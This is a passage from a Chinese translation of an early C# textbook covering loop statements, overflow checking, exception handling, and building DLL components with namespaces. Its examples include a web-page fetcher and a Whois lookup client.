11: {
12: Console.WriteLine("{0} = {1}",strKey, envvars[strKey].ToString());
13: }
14: }
15: }
对GetEnvironmentVariables的调用返回一个IDictionary类型接口，它是由.NET框架中的许多类实现了的字典接口。通过 IDictionary 接口，可以访问两个收集：Keys 和 Values。在这个例子里，我在foreach语句中使用Keys，接着查找基于当前key值的值（第12行）。
当使用foreach时，只要注意一个问题：当确定循环变量的类型时，应该格外小心。选择错误的类型并没有受到编译器的检测，但它会在运行时受检测，且会引发一个异常。

6.2.3 while 语句
当你想执行一个内含语句0次或更多次时，while语句正是你所盼望的：

while (条件) 内含语句

条件语句——它也是一个布尔表达式 ——控制内含语句被执行的次数。你可以使用 break 和continue语句来控制while语句中的执行语句，它的运行方式同在for语句中的完全相同。
为了举例while的用法，清单 6.6 说明如何使用一个 StreamReader类输出C#源文件到屏幕。

清单 6.6 显示一个文件的内容

1: using System;
2: using System.IO;
3:
4: class WhileDemoApp
5: {
6: public static void Main()
7: {
8: StreamReader sr = File.OpenText ("whilesample.cs");
9: String strLine = null;
10:
11: while (null != (strLine = sr.ReadLine()))
12: {
13: Console.WriteLine(strLine);
14: }
15:
16: sr.Close();
17: }
18: }

代码打开文件 whilesample.cs, 接着当ReadLine 方法返回一个不等于null的值时，就在屏幕上显示所读取的值。注意，我在while条件语句中用到一个赋值。如果有更多的用&&和¦¦连接起来的条件语句，我不能保证它们是否会被执行，因为存在着“短路”的可能。

6.2.4 do 语句
C#最后可利用的循环语句是do语句。它与while语句十分相似，仅当经过最初的循环之后，条件才被验证。

do
{
内含语句
}
while (条件);

do语句保证内含语句至少被执行过一次，而且只要条件求值等于真，它们继续被执行。通过使用break语句，你可以迫使运行退出 do 语块。如果你想跳过这一次循环，使用continue语句。
一个如何使用do语句的例子显示在清单 6.7中。它向用户请求一个或多个数字，并且当执行程序退出do循环后计算平均值。

清单 6.7 在do 循环中计算平均值

1: using System;
2:
3: class ComputeAverageApp
4: {
5: public static void Main()
6: {
7: ComputeAverageApp theApp = new ComputeAverageApp();
8: theApp.Run();
9: }
10:
11: public void Run()
12: {
13: double dValue = 0;
14: double dSum = 0;
15: int nNoOfValues = 0;
16: char chContinue = 'y';
17: string strInput;
18:
19: do
20: {
21: Console.Write("Enter a value: ");
22: strInput = Console.ReadLine();
23: dValue = Double.Parse(strInput);
24: dSum += dValue;
25: nNoOfValues++;
26: Console.Write("Read another value?");
27:
28: strInput = Console.ReadLine();
29: chContinue = Char.FromString(strInput);
30: }
31: while ('y' == chContinue);
32:
33: Console.WriteLine("The average is {0}",dSum / nNoOfValues);
34: }
35: }

在这个例子里，我在静态 Main函数中实例化 ComputeAverageApp类型的一个对象。它同样接着调用实例的Run方法，该方法包含了计算平均值所有必要的功能。
do 循环跨越第19~31行。条件是这样设定的：分别回答各个问题 “y”，以决定是否要增加另一个值。输入任何其它字符会引起程序退出 do语块，且平均值被计算。
正如你可以从提到的例子看出，do语句和while语句差别不太大——仅有的差别就是条件在什么时候被求值。

6.3 小结
这章解释了如何使用C#中用到的各种选择和循环语句。 if 语句在应用程序中可能是最为常用的语句。当在布尔表达式中使用计算时，编译器会为你留意。但是，你一定要确保条件语句的短路不会阻止必要代码的运行。
switch 语句——尽管同样与C语言的相应部分相似——但也被改善了。直达不再被支持，而且你可以使用字符串标签，对于C程序员，这是一种新的用法。
在这一章的最后部分，我说明如何使用for、foreach、while和do语句。语句完成各种需要，包括执行固定次数的循环、列举收集元素和执行基于某些条件的任意次数的语句。


csdn_《.net编程先锋C#》第七章 异常处理

《.net编程先锋C#》第七章 异常处理
第七章 异常处理
通用语言运行时（CLR）具有的一个很大的优势为，异常处理是跨语言被标准化的。一个在C#中所引发的异常可以在Visual Basic客户中得到处理。不再有 HRESULTs 或者 ISupportErrorInfo 接口。
尽管跨语言异常处理的覆盖面很广，但这一章完全集中讨论C#异常处理。你稍为改变编译器的溢出处理行为，接着有趣的事情就开始了：你处理了该异常。要增加更多的手段，随后引发你所创建的异常。

7.1 校验(checked)和非校验(unchecked)语句
当你执行运算时，有可能会发生计算结果超出结果变量数据类型的有效范围。这种情况被称为溢出，依据不同的编程语言，你将被以某种方式通知——或者根本就没有被通知。（C++程序员听起来熟悉吗？）
那么，C#如何处理溢出的呢？ 要找出其默认行为，请看我在这本书前面提到的阶乘的例子。（为了方便其见，前面的例子再次在清单 7.1 中给出）

清单 7.1 计算一个数的阶乘

1: using System;
2:
3: class Factorial
4: {
5: public static void Main(string[] args)
6: {
7: long nFactorial = 1;
8: long nComputeTo = Int64.Parse(args[0]);
9:
10: long nCurDig = 1;
11: for (nCurDig=1;nCurDig <= nComputeTo; nCurDig++)
12: nFactorial *= nCurDig;
13:
14: Console.WriteLine("{0}! is {1}",nComputeTo, nFactorial);
15: }
16: }

当你象这样使用命令行执行程序时
factorial 2000

结果为0，什么也没有发生。因此，设想C#默默地处理溢出情况而不明确地警告你是安全的。
通过给整个应用程序（经编译器开关）或于语句级允许溢出校验，你就可以改变这种行为。以下两节分别解决一种方案。
7.1.1 给溢出校验设置编译器
如果你想给整个应用程序控制溢出校验，C#编译器设置选择是正是你所要找的。默认地，溢出校验是禁用的。要明确地要求它，运行以下编译器命令：
csc factorial.cs /checked+

现在当你用2000参数执行应用程序时，CLR通知你溢出异常（见图 7.1）。

图 7.1　允许了溢出异常，阶乘代码产生了一个异常。

    按ＯＫ键离开对话框揭示了异常信息：
Exception occurred: System.OverflowException
at Factorial.Main(System.String[])

    现在你了解了溢出条件引发了一个 System.OverflowException异常。下一节，在我们完成语法校验之后，如何捕获并处理所出现的异常？
7.1.2　语法溢出校验
    如果你不想给整个应用程序允许溢出校验，仅给某些代码段允许校验，你可能会很舒适。对于这种场合，你可能象清单7.2中显示的那样，使用校验语句。

清单 7.2　　阶乘计算中的溢出校验

1: using System;
2:
3: class Factorial
4: {
5: public static void Main(string[] args)
6: {
7: long nFactorial = 1;
8: long nComputeTo = Int64.Parse(args[0]);
9:
10: long nCurDig = 1;
11:
12: for (nCurDig=1;nCurDig <= nComputeTo; nCurDig++)
13: checked { nFactorial *= nCurDig; }
14:
15: Console.WriteLine("{0}! is {1}",nComputeTo, nFactorial);
16: }
17: }

    甚至就如你运用标志 checked-编译了该代码，在第13行中，溢出校验仍然会对乘法实现检查。错误信息保持一致。

    显示相反行为的语句是非校验（unchecked ）。甚至如果允许了溢出校验（给编译器加上checked+标志），被unchecked 语句所括住的代码也将不会引发溢出异常：

unchecked
{
nFactorial *= nCurDig;
}

7.2 　异常处理语句
    既然你知道了如何产生一个异常（你会发现更多的方法，相信我），仍然存在如何处理它的问题。如果你是一个 C++ WIN32 程序员，肯定熟悉SEH（结构异常处理）。你将从中找到安慰，Ｃ＃中的命令几乎是相同的，而且它们也以相似的方式运作。

The following three sections introduce C#'s exception-handling statements:
以下三节介绍了Ｃ＃的异常处理语句：

。用 try-catch 捕获异常
。用try-finally 清除异常
。用try-catch-finally 处理所有的异常

7.2.1 　使用 try 和 catch捕获异常
    你肯定会对一件事非常感兴趣——不要提示给用户那令人讨厌的异常消息，以便你的应用程序继续执行。要这样，你必须捕获（处理）该异常。
这样使用的语句是try 和 catch。try包含可能会产生异常的语句，而catch处理一个异常，如果有异常存在的话。清单7.3 用try 和 catch为OverflowException 实现异常处理。

清单7.3 捕获由Factorial Calculation引发的OverflowException 异常

1: using System;
2:
3: class Factorial
4: {
5: public static void Main(string[] args)
6: {
7: long nFactorial = 1, nCurDig=1;
8: long nComputeTo = Int64.Parse(args[0]);
9:
10: try
11: {
12: checked
13: {
14: for (;nCurDig <= nComputeTo; nCurDig++)
15: nFactorial *= nCurDig;
16: }
17: }
18: catch (OverflowException oe)
19: {
20: Console.WriteLine("Computing {0} caused an overflow exception", nComputeTo);
21: return;
22: }
23:
24: Console.WriteLine("{0}! is {1}",nComputeTo, nFactorial);
25: }
26: }

为了说明清楚，我扩展了某些代码段，而且我也保证异常是由checked 语句产生的，甚至当你忘记了编译器设置时。
正如你所见，异常处理并不麻烦。你所有要做的是：在try语句中包含容易产生异常的代码，接着捕获异常，该异常在这个例子中是OverflowException类型。无论一个异常什么时候被引发，在catch段里的代码会注意进行适当的处理。
如果你不事先知道哪一种异常会被预期，而仍然想处于安全状态，简单地忽略异常的类型。

try
{
...
}
catch
{
...
}

但是，通过这个途径，你不能获得对异常对象的访问，而该对象含有重要的出错信息。一般化异常处理代码象这样：

try
{
...
}
catch(System.Exception e)
{
...
}

注意，你不能用ref或out 修饰符传递 e 对象给一个方法，也不能赋给它一个不同的值。

7.2.2 使用 try 和 finally 清除异常
如果你更关心清除而不是错误处理， try 和 finally 会获得你的喜欢。它不仅抑制了出错消息，而且所有包含在 finally 块中的代码在异常被引发后仍然会被执行。
尽管程序不正常终止，但你还可以为用户获取一条消息，如清单 7.4 所示。

清单 7.4 在finally 语句中处理异常

1: using System;
2:
3: class Factorial
4: {
5: public static void Main(string[] args)
6: {
7: long nFactorial = 1, nCurDig=1;
8: long nComputeTo = Int64.Parse(args[0]);
9: bool bAllFine = false;
10:
11: try
12: {
13: checked
14: {
15: for (;nCurDig <= nComputeTo; nCurDig++)
16: nFactorial *= nCurDig;
17: }
18: bAllFine = true;
19: }
20: finally
21: {
22: if (!bAllFine)
23: Console.WriteLine("Computing {0} caused an overflow exception", nComputeTo);
24: else
25: Console.WriteLine("{0}! is {1}",nComputeTo, nFactorial);
26: }
27: }
28: }

通过检测该代码，你可能会猜到，即使没有引发异常处理，finally也会被执行。这是真的——在finally中的代码总是会被执行的，不管是否具有异常条件。为了举例说明如何在两种情况下提供一些有意义的信息给用户， 我引进了新变量bAllFine。bAllFine告诉finally 语段，它是否是因为一个异常或者仅是因为计算的顺利完成而被调用。
作为一个习惯了SEH程序员，你可能会想，是否有一个与__leave 语句等价的语句，该语句在C++中很管用。如果你还不了解，在C++中的__leave 语句是用来提前终止 try 语段中的执行代码，并立即跳转到finally 语段 。
坏消息， C# 中没有__leave 语句。但是，在清单 7.5 中的代码演示了一个你可以实现的方案。

清单 7.5 从 try语句 跳转到finally 语句

1: using System;
2:
3: class JumpTest
4: {
5: public static void Main()
6: {
7: try
8: {
9: Console.WriteLine("try");
10: goto __leave;
11: }
12: finally
13: {
14: Console.WriteLine("finally");
15: }
16:
17: __leave:
18: Console.WriteLine("__leave");
19: }
20: }

当这个应用程序运行时，输出结果为

try
finally
__leave

一个 goto 语句不能退出 一个finally 语段。甚至把 goto 语句放在 try 语句 段中，还是会立即返回控制到 finally 语段。因此，goto 只是离开了 try 语段并跳转到finally 语段。直到 finally 中的代码完成运行后，才能到达__leave 标签。按这种方式，你可以模仿在SEH中使用的的__leave 语句。
顺便地，你可能怀疑goto 语句被忽略了，因为它是try 语句中的最后一条语句，并且控制自动地转移到了 finally 。为了证明不是这样，试把goto 语句放到Console.WriteLine 方法调用之前。尽管由于不可到达代码你得到了编译器的警告，但是你将看到goto语句实际上被执行了，且没有为 try 字符串产生的输出。

7.2.3 使用try-catch-finally处理所有异常
应用程序最有可能的途径是合并前面两种错误处理技术——捕获错误、清除并继续执行应用程序。所有你要做的是在出错处理代码中使用 try 、catch 和 finally语句。清单 7.6 显示了处理零除错误的途径。

清单 7.6 实现多个catch 语句

1: using System;
2:
3: class CatchIT
4: {
5: public static void Main()
6: {
7: try
8: {
9: int nTheZero = 0;
10: int nResult = 10 / nTheZero;
11: }
12: catch(DivideByZeroException divEx)
13: {
14: Console.WriteLine("divide by zero occurred!");
15: }
16: catch(Exception Ex)
17: {
18: Console.WriteLine("some other exception");
19: }
20: finally
21: {
22: }
23: }
24: }

这个例子的技巧为，它包含了多个catch 语句。第一个捕获了更可能出现的DivideByZeroException异常，而第二个catch语句通过捕获普通异常处理了所有剩下来的异常。
你肯定总是首先捕获特定的异常，接着是普通的异常。如果你不按这个顺序捕获异常，会发生什么事呢？清单7.7中的代码有说明。

清单7.7 顺序不适当的 catch 语句

1: try
2: {
3: int nTheZero = 0;
4: int nResult = 10 / nTheZero;
5: }
6: catch(Exception Ex)
7: {
8: Console.WriteLine("exception " + Ex.ToString());
9: }
10: catch(DivideByZeroException divEx)
11: {
12: Console.WriteLine("never going to see that");
13: }

编译器将捕获到一个小错误，并类似这样报告该错误：
wrongcatch.cs(10,9): error CS0160: A previous catch clause already
catches all exceptions of this or a super type ('System.Exception')

最后，我必须告发CLR异常与SEH相比时的一个缺点（或差别）：没有 EXCEPTION_CONTINUE_EXECUTION标识符的等价物，它在SEH异常过滤器中很有用。基本上，EXCEPTION_CONTINUE_EXECUTION 允许你重新执行负责异常的代码片段。在重新执行之前，你有机会更改变量等。我个人特别喜欢的技术为，使用访问违例异常，按需要实施内存分配。

7.3 引发异常
当你必须捕获异常时，其他人首先必须首先能够引发异常。而且，不仅其他人能够引发，你也可以负责引发。其相当简单：

throw new ArgumentException("Argument can't be 5");
你所需要的是throw 语句和一个适当的异常类。我已经从表7.1提供的清单中选出一个异常给这个例子。

表 7.1 Runtime提供的标准异常

异常类型 描述

Exception 所有异常对象的基类
SystemException 运行时产生的所有错误的基类
IndexOutOfRangeException 当一个数组的下标超出范围时运行时引发
NullReferenceException 当一个空对象被引用时运行时引发
InvalidOperationException 当对方法的调用对对象的当前状态无效时，由某些方法引发
ArgumentException 所有参数异常的基类
ArgumentNullException 在参数为空（不允许）的情况下，由方法引发
ArgumentOutOfRangeException 当参数不在一个给定范围之内时，由方法引发
InteropException 目标在或发生在CLR外面环境中的异常的基类
ComException 包含COM 类的HRESULT信息的异常
SEHException 封装win32 结构异常处理信息的异常

然而，在catch语句的内部，你已经有了随意处置的异常，就不必创建一个新异常。可能在表7.1 中的异常没有一个符合你特殊的要求——为什么不创建一个新的异常？在即将要学到小节中，都涉及到这两个话题。

7.3.1 重新引发异常
当处于一个catch 语句的内部时，你可能决定引发一个目前正在再度处理的异常，留下进一步的处理给一些外部的try-catch 语句。该方法的例子如 清单7.8所示。

清单 7.8 重新引发一个异常

1: try
2: {
3: checked
4: {
5: for (;nCurDig <= nComputeTo; nCurDig++)
6: nFactorial *= nCurDig;
7: }
8: }
9: catch (OverflowException oe)
10: {
11: Console.WriteLine("Computing {0} caused an overflow exception", nComputeTo);
12: throw;
13: }

注意，我不必规定所声明的异常变量。尽管它是可选的，但你也可以这样写：
throw oe;
现在有时还必须留意这个异常。

7.3.2 创建自己的异常类
尽管建议使用预定义的异常类，但对于实际场合，创建自己的异常类可能会方便。创建自己的异常类，允许你的异常类的使用者根据该异常类采取不同的手段。
在清单 7.9 中出现的异常类 MyImportantException遵循两个规则：第一，它用Exception结束类名。第二，它实现了所有三个被推荐的通用结构。你也应该遵守这些规则。
清单 7.9 实现自己的异常类 MyImportantException

1: using System;
2:
3: public class MyImportantException:Exception
4: {
5: public MyImportantException()
6: :base() {}
7:
8: public MyImportantException(string message)
9: :base(message) {}
10:
11: public MyImportantException(string message, Exception inner)
12: :base(message,inner) {}
13: }
14:
15: public class ExceptionTestApp
16: {
17: public static void TestThrow()
18: {
19: throw new MyImportantException("something bad has happened.");
20: }
21:
22: public static void Main()
23: {
24: try
25: {
26: ExceptionTestApp.TestThrow();
27: }
28: catch (Exception e)
29: {
30: Console.WriteLine(e);
31: }
32: }
33: }

正如你所看到的，MyImportantException 异常类不能实现任何特殊的功能，但它完全基于System.Exception类。程序的剩余部分测试新的异常类，给System.Exception 类使用一个catch 语句。
如果没有特殊的实现而只是给MyImportantException定义了三个构造函数，创建它又有什么意义呢？它是一个重要的类型——你可以在catch语句中使用它，代替更为普通的异常类。可能引发你的新异常的客户代码可以按规定的catch代码发挥作用。
当使用自己的名字空间编写一个类库时，也要把异常放到该名字空间。尽管它并没有出现在这个例子中，你还是应该使用适当的属性，为扩展了的错误信息扩充你的异常类。

7.4 异常处理的“要”和“不要”
作为最后的忠告之语，这里是对异常引发和处理所要做和不要做的清单：
。当引发异常时，要提供有意义的文本。
。要引发异常仅当条件是真正异常；也就是当一个正常的返回值不满足时。
。如果你的方法或属性被传递一个坏参数，要引发一个ArgumentException异常。
。当调用操作不适合对象的当前状态时，要引发一个 InvalidOperationException异常。
。要引发最适合的异常。
。要使用链接异常，它们允许你跟踪异常树。
。不要为正常或预期的错误使用异常。
。不要为流程的正常控制使用异常。
。不要在方法中引发 NullReferenceException或IndexOutOfRangeException异常。

7.5 小结
这一章由介绍溢出校验开始。你可以使用编译器开关（默认是关），使整个应用程序允许或禁止溢出校验。如果需要微调控制，你可以使用校验和非校验语句，它允许你使用或不使用溢出校验来执行一段代码，尽管没有给应用程序设置开关。
当发生溢出时，一个异常就被引发了。如何处理异常取决于你。我提出了各种途径，包括你最有可能贯穿整个应用程序使用的：try、catch 和finally 语句。在伴随的多个例子中，你学到了它与WIN32结构异常处理（SEH）的差别。
异常处理是给类的用户； 然而，如果你负责创建新的类，就可以引发异常。有多种选择：引发早已捕获的异常，引发存在的框架异常，或者按规定的实际目标创建新的异常类。
最后，你需要阅读引发和处理异常的各种“要”和“不要”。


csdn_《.net编程先锋C#》第八章 用C#写组件

《.net编程先锋C#》第八章 用C#写组件
第八章 用C#写组件
这一章关于用C#写组件。你学到如何写一个组件，如何编译它，且如何在一个客户程序中使用它。更深入一步是运用名字空间来组织你的应用程序。
这章由两个主要大节构成：
。你的第一个组件
。使用名字空间工作

8.1 你的第一个组件
到目前为止，在本书中提到的例子都是在同一个应用程序中直接使用一个类。类和它的使用者被包含在同一个执行文件中。现在我们将把类和使用者分离到组件和客户，它们分别位于不同的二进制文件中（可执行文件）。
尽管你仍然为组件创建一个 DLL，但其步骤与用C++写一个COM组件差别很大。你很少涉及到底层结构。以下小节说明了如何构建一个组件以及使用到它的客户：

。构建组件
。编译组件
。创建一个简单的客户应用程序

8.1.1 构建组件
因为我是一个使用范例迷，我决定创建一个相关Web的类，以方便你们使用。它返回一个Web网页并储存在一个字符串变量中，以供后来重用。所有这些编写都参考了.NET框架的帮助文档。
类名为RequestWebPage；它有两个构造函数—— 一个属性和一个方法。属性被命名为URL，且它储存了网页的Web地址，由方法GetContent返回。这个方法为你做了所有的工作（见清单8.1）。

清单 8.1 用于从Web服务器返回HTML网页的RequestWebPage 类

1: using System;
2: using System.Net;
3: using System.IO;
4: using System.Text;
5:
6: public class RequestWebPage
7: {
8: private const int BUFFER_SIZE = 128;
9: private string m_strURL;
10:
11: public RequestWebPage()
12: {
13: }
14:
15: public RequestWebPage(string strURL)
16: {
17: m_strURL = strURL;
18: }
19:
20: public string URL
21: {
22: get { return m_strURL; }
23: set { m_strURL = value; }
24: }
25: public void GetContent(out string strContent)
26: {
27: // 检查 URL
28: if (m_strURL == "")
29: throw new ArgumentException("URL must be provided.");
30:
31: WebRequest theRequest = (WebRequest) WebRequestFactory.Create(m_strURL);
32: WebResponse theResponse = theRequest.GetResponse();
33:
34: // 给回应设置字节缓冲区
35: int BytesRead = 0;
36: Byte[] Buffer = new Byte[BUFFER_SIZE];
37:
38: Stream ResponseStream = theResponse.GetResponseStream();
39: BytesRead = ResponseStream.Read(Buffer, 0, BUFFER_SIZE);
40:
41: //使用 StringBuilder 以加速分配过程
42: StringBuilder strResponse = new StringBuilder("");
43: while (BytesRead != 0 )
44: {
45: strResponse.Append(Encoding.ASCII.GetString(Buffer,0,BytesRead));
46: BytesRead = ResponseStream.Read(Buffer, 0, BUFFER_SIZE);
47: }
48:
49: // 赋给输出参数
50: strContent = strResponse.ToString();
51: }
52: }

本应该利用无参数构造函数完成工作，但我决定在构造函数中初始化URL，这可能会很有用。当后来决定要改变URL时——为了返回第二个网页，例如，通过URL属性的get和set访问标志使它被公开了。
有趣的事始于GetContent方法。首先，代码对URL实行十分简单的检查，如果它不适合，就会引发一个ArgumentException 异常。之后，我请求WebRequestFactory ，以创建一个基于传递给它的URL的WebRequest对象。
因为我不想发送cookies、附加头和询问串等，所以立即访问WebResponse（第32行）。如果你需要请求上述任何的功能，必须在这一行之前实现它们。
第35和36行初始化一个字节缓冲区，它用于从返回流中读数据。暂时忽略StringBuilder 类，只要返回流中仍然有要读的数据，while循环就会简单地重复。最后的读操作将返回零，因此结束了该循环。
现在我想回到StringBuilder类。为什么用这个类的实例而不是简单地把字节缓冲区合并到一个字符串变量？看下面这个例子：
strMyString = strMyString + "some more text";
这里很清楚，你正在拷贝值。常量 "some more text" 以一个字符串变量类型被加框，且根据加法操作创建了一个新的字符串变量。接着被赋给了 strMyString。有很多次拷贝，是吗？
但你可能引起争论
strMyString += "some more text";
不要炫耀这种行为。对不起，对于C#这是一个错误的答案。其操作完全与所描述的赋值操作相同。
不涉及该问题的另外的途径是使用StringBuilder类。它利用一个缓冲区进行工作，接着，在没有发生我所描述的拷贝行为的情况下，你进行追加、插入、删除和替换操作。这就是为什么我在类中使用它来合并那些读自缓冲区中的内容。
该缓冲区把我带进了这个类中最后重要的代码片段——第45行的编码转换。它只不过涉及到我获得请求的字符集。
最后，当所有的内容被读入且被转换时，我显式地从 StringBuilder请求一个字符串对象并把它赋给了输出变量。一个返回值仍然会导致另外的拷贝操作。

8.1.2 编译组件
到目前为止，你所做的工作与在正常应用程序的内部编写一个类没有什么区别。所不同的是编译过程。你必须创建一个库而不是一个应用程序：
csc /r:System.Net.dll /t:library /out:wrq.dll webrequest.cs
编译开关/t:library 告诉C#编译，要创建一个库而不是搜寻一个静态 Main方法。同样，因为我正在使用 System.Net名字空间，所以必须引用 (/r:)它的库，这个库就是System.Net.dll。
你的库命名为 wrq.dll，现在它准备用于一个客户应用程序。因为在这章中我仅使用私有组件工作，所以你不必把库拷贝到一个特殊的位置，而是拷贝到客户应用程序目录。

8.1.3 创建一个简单的客户应用程序
当一个组件被写成且被成功地编译时，你所要做的就是在客户应用程序中使用它。我再次创建了一个简单的命令行应用程序，它返回了我维护的一个开发站点的首页（见清单8.2）。

清单 8.2 用 RequestWebPage 类返回一个简单的网页

1: using System;
2:
3: class TestWebReq
4: {
5: public static void Main()
6: {
7: RequestWebPage wrq = new RequestWebPage();
8: wrq.URL = "http://www.alphasierrapapa.com/iisdev/";
9:
10: string strResult;
11: try
12: {
13: wrq.GetContent(out strResult);
14: }
15: catch (Exception e)
16: {
17: Console.WriteLine(e);
18: return;
19: }
20:
21: Console.WriteLine(strResult);
22: }
成员

注意，我已经在一个try catch语句中包含了对 GetContent的调用。其中的一个原因是GetContent可能引发一个 ArgumentException异常。此外，我在组件内部调用的.NET框架类也可以引发异常。因为我不能在类的内部处理这些异常，所以我必须在这里处理它们。
其余的代码只不过是简单的组件使用——调用标准的构造函数，存取一个属性，并执行一个方法。但等一下：你需要注意何时编译应用程序。一定要告诉编译器，让它引用你的新组件库DLL：
csc /r:wrq.dll wrclient.cs
现在万事俱备，你可以测试程序了。输出结果会滚屏，但你可以看到应用程序工作。使用了常规的表达式，你也可以增加代码，以解析返回的HTML，并依据你个人的喜好，提取信息。我预想会使用到这个类新版本的SSL（安全套接字层），用于ASP+网页中的在线信用卡验证。
你可能会注意到，没有特殊的using 语句用于你所创建的库。原因是你在组件的源文件中没有定义名字空间。

8.2 使用名字空间工作
你经常使用到名字空间，例如System 和System.Net。C#利用名字空间来组织程序，而且分层的组织使一个程序的成员传到另一个程序变得更容易。
尽管不强制，但你总要创建名字空间，以清楚地识别应用程序的层次。.NET框架会给出构建这种分层的良好思想。
以下的代码片段显示了在C#原文件中简单的名字空间 My.Test（点号表示一个分层等级）的声明：

namespace My.Test
{
//这里的任何东西属于名字空间
}

当你访问名字空间中的一个成员时，也有必要使用名字空间标识符完全地验证它，或者利用using标志把所有的成员引入到你当前的名字空间。本书前面的例子演示了如何应用这些技术。
在开始使用名字空间之前，只有少数有关存取安全的词。如果你不增加一个特定的存取修饰符，所有的类型将被默认为internal 。当你想从外部访问该类型时，使用 public 。不允许其它的修饰符。
这是关于名字空间充分的理论。让我们继续实现该理论——以下小节说明了当构建组件应用程序时，如何使用名字空间
。在名字空间中包装类
。在客户应用程序中使用名字空间
。为名字空间增加多个类

8.2.1 在名字空间中包装类
既然你知道了名字空间的理论含义，那么让我们在现实生活中实现它吧。在这个和即将讨论到的例子中，自然选择到的名字空间是Presenting.CSharp。为了不使你厌烦，仅仅是把RequestWebPage包装到Presenting.CSharp中，我决定写一个类，用于 Whois查找（见清单8.3）。

清单 8.3 在名字空间中实现 WhoisLookup类

1: using System;
2: using System.Net.Sockets;
3: using System.IO;
4: using System.Text;
5:
6: namespace Presenting.CSharp
7: {
8: public class WhoisLookup
9: {
10: public static bool Query(string strDomain, out string strWhoisInfo)
11: {
12: const int BUFFER_SIZE = 128;
13:
14: if ("" == strDomain)
15: throw new ArgumentException("You must specify a domain name.");
16:
17: TCPClient tcpc = new TCPClient();
18: strWhoisInfo = "N/A";
19:
20: // 企图连接 whois 服务器
21: if (tcpc.Connect("whois.networksolutions.com", 43) != 0)
22: return false;
23:
24: // 获取流
25: Stream s = tcpc.GetStream();
26:
27: // 发送请求
28: strDomain += "\r\n";
29: Byte[] bDomArr = Encoding.ASCII.GetBytes(strDomain.ToCharArray());
30: s.Write(bDomArr, 0, strDomain.Length);
31:
32: Byte[] Buffer = new Byte[BUFFER_SIZE];
33: StringBuilder strWhoisResponse = new StringBuilder("");
34:
35: int BytesRead = s.Read(Buffer, 0, BUFFER_SIZE);
36: while (BytesRead != 0 )
37: {
38: strWhoisResponse.Append(Encoding.ASCII.GetString(Buffer,0,BytesRead));
39: BytesRead = s.Read(Buffer, 0, BUFFER_SIZE);
40: }
41:
42: tcpc.Close();
43: strWhoisInfo = strWhoisResponse.ToString();
44: return true;
45: }
46: }
47: }

名字空间在第6行被声明，而且它用第7行和第47行的大括弧括住了WhoisLookup类。要声明自己新的名字空间，实际要做的就是这些。
在WhoisLookup类中当然具有一些有趣代码，特别是由于它说明了使用C#进行socket编程是多么的容易。在static Query method中经过 not-so-stellar域名检查之后，我实例化了TCPClient类型的一个对象，它用来完成具有 Whois服务器的43端口上的所有通讯。在第21行建立了服务器连接：
if (tcpc.Connect("whois.networksolutions.com", 43) != 0)
因为连接失败是预料到的结果，所以这个方法不能引发一个异常。（你还记住异常处理的“要”和“不要”吗？） 返回值是一个错误代码，而返回零则说明连接成功。
对于 Whois 查找，我必须首先发出一些信息给服务器——我要查找的域名。要完成此项工作，首先获得一个引用给当前TCP连接的双向流（第25行）。接着附加上一个回车/换行对 给域名，以表示询问结束。重新以字节数组打包，向Whois 服务器发送一个请求（第30行）。
余下的代码和RequestWebPage类极其相似。在该类中，我再次利用一个缓冲区从远程服务器读入回应。当缓冲区完成读入后，连接被断开。返回的回应被转给了调用者。我明确地调用 Close 方法的原因是我不想等待垃圾收集器毁坏连接。连接时间不要过长，以免占用TCP端口这种稀有资源。
在可以使用.NET 组件中的类之前，你必须把它作为一个库来编译。尽管现在有了一个已定义的名字空间，该编译命令仍然没有变：
csc /r:System.Net.dll /t:library /out:whois.dll whois.cs
注意，如果你想该库按与C#源文件相同的方法命名，就没有必要规定 /out:开关。规定该开关是一个良好的习惯，因为很多项目不会只由单个源文件组成。如果你规定了多个源文件，该库以名单中的第一个命名。

8.2.2 在客户应用程序中使用名字空间
由于你使用了名字空间开发组件，所以客户也要引入名字空间
using Presenting.CSharp;
或者给名字空间中的成员使用完全资格名（fully qualified name)，例如
Presenting.CSharp.WhoisLookup.Query(...);

如果你不期望在名字空间中引入的成员之间出现冲突，using 标志（ directive）是首选，特别是由于你具有很少的类型时。使用组件的客户程序样本在清单8.4中给出。

清单 8.4 测试 WhoisLookup 组件

1: using System;
2: using Presenting.CSharp;
3:
4: class TestWhois
5: {
6: public static void Main()
7: {
8: string strResult;
9: bool bReturnValue;
10:
11: try
12: {
13: bReturnValue = WhoisLookup.Query("microsoft.com", out strResult);
14: }
15: catch (Exception e)
16: {
17: Console.WriteLine(e);
18: return;
19: }
20: if (bReturnValue)
21: Console.WriteLine(strResult);
22: else
23: Console.WriteLine("Could not obtain information from server.");
24: }
25: }

第2行利用using 标志引入了Presenting.CSharp名字空间。现在，我无论什么时候引用WhoisLookup ，都可以忽略名字空间的完全资格名了。
该程序对 microsoft.com 域进行一次Whois 查找——你也可以用自己的域名代替microsoft.com 。允许命令行参数传递域名，可使客户的用途更广。清单8.5 实现了该功能，但它不能实现适当的异常处理（为了使程序更短）。

清单 8.5 传递命令行参数给Query 方法

1: using System;
2: using Presenting.CSharp;
3:
4: class WhoisShort
5: {
6: public static void Main(string[] args)
7: {
8: string strResult;
9: bool bReturnValue;
10:
11: bReturnValue = WhoisLookup.Query(args[0], out strResult);
12:
13: if (bReturnValue)
14: Console.WriteLine(strResult);
15: else
16: Console.WriteLine("Lookup failed.");
17: }
18: }

你所必须做的就是编译这个应用程序：
csc /r:whois.dll whoisclnt.cs
接着可以使用命令行参数执行该应用程序。例如，以 microsoft.com参数执行
whoisclnt microsoft.com
当查询运行成功时，就会出现 microsoft.com的注册信息。（清单8.6 显示了输出的简略版本） 这是一个很方便的小程序，通过组件化的途径写成的，花不到一个小时。如果用C++编写，要花多长时间？很幸运，我再也想不起当第一次用C++这样做时，花了多长的时间。

清单 8.6 有关 microsoft.com (简略) 的Whois 信息
D:\CSharp\Samples\Namespace>whoisclient
...

Registrant:
Microsoft Corporation (MICROSOFT-DOM)
1 microsoft way
redmond, WA 98052
US
Domain Name: MICROSOFT.COM

Administrative Contact:
Microsoft Hostmaster (MH37-ORG) msnhst@MICROSOFT.COM
Technical Contact, Zone Contact:
MSN NOC (MN5-ORG) msnnoc@MICROSOFT.COM
Billing Contact:
Microsoft-Internic Billing Issues (MDB-ORG) msnbill@MICROSOFT.COM

Record last updated on 20-May-2000.
Record expires on 03-May-2010.
Record created on 02-May-1991.
Database last updated on 9-Jun-2000 13:50:52 EDT.

Domain servers in listed order:

ATBD.MICROSOFT.COM 131.107.1.7
DNS1.MICROSOFT.COM 131.107.1.240
